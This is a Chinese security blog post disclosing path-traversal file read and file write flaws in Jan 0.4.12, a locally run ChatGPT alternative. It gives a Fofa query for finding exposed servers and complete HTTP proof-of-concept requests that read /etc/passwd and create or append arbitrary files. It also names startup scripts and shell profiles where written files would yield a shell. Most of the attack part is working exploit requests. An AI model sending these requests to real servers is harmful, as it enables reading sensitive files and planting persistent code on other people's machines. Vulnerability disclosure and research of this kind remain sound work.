Jan任意文件读取/下载和上传漏洞

自从ChatGPT横空出世以来,我一直想找一个可以自己训练的AI大模型,然而在使用Jan的过程中,数据包中传递的参数引起了我的兴趣,简单尝试后发现了任意文件读取和任意文件上传漏洞。

简介

Jan是ChatGPT的开源替代品,它在您的计算机上100%离线运行。多引擎支持(llama.cpp、TensorRT LLM)。

项目地址

漏洞描述

Jan的API接口readFileSync未过滤参数,导致出现任意文件读取/下载漏洞。writeFileSyncappendFileSync未过滤参数,导致出现任意文件上载漏洞。

影响版本

  • 0.4.12 Latest

搜索语法

Fofa

  • icon_hash=“-165268926”

漏洞验证和复现

任意文件读取/下载

/v1/app/existsSync 可以通过路径穿越判断文件是否存在:


/v1/app/readFileSync 可以读取/下载任意文件:


也包括root权限的文件:

Poc

POST /v1/app/readFileSync HTTP/1.1
Host: {{Host}}
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:124.0) Gecko/20100101 Firefox/124.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Referer: http://<IP>:<Port>
contentType: application/json
Content-Type: text/plain;charset=UTF-8
Content-Length: 48
Origin: http://<IP>:<Port>
Connection: close

["file:/../../../../../../etc/passwd","utf-8"]

任意文件上传

创建任意文件并写入内容:

查看文件内容:

追加写入已存在的文件:


此外,您还可以利用此漏洞将计划任务和启动项写入getshell,如:/etc/init.d/目录,/etc/rc.d/目录,/etc/rc.local,~/.bash_profile,~/.bash_login~/.profile 文件来getshell。

Poc

使用writeFileSync接口

POST /v1/app/writeFileSync HTTP/1.1
Host: {{Host}}
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:124.0) Gecko/20100101 Firefox/124.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Referer: http://<IP>:<Port>
contentType: application/json
Content-Type: text/plain;charset=UTF-8
Content-Length: 35
Origin: http://<IP>:<Port>
Connection: close

["/../../../../../tmp/a.txt","abc"]

使用appendFileSync

POST /v1/app/appendFileSync HTTP/1.1
Host: {{Host}}
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:124.0) Gecko/20100101 Firefox/124.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Referer: http://<IP>:<Port>
contentType: application/json
Content-Type: text/plain;charset=UTF-8
Content-Length: 48
Origin: http://<IP>:<Port>
Connection: close

["file:/../../../../../../tmp/a.txt","bbb  ccc"]

由于这里是使用nodejs造成的风险,我也尝试上传nodejs模块结合调用getshell,但是没成功。

原文

Jan AFR/AFD vulnerability
Jan Arbitrary File Upload vulnerability

  • 9
    点赞
  • 10
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值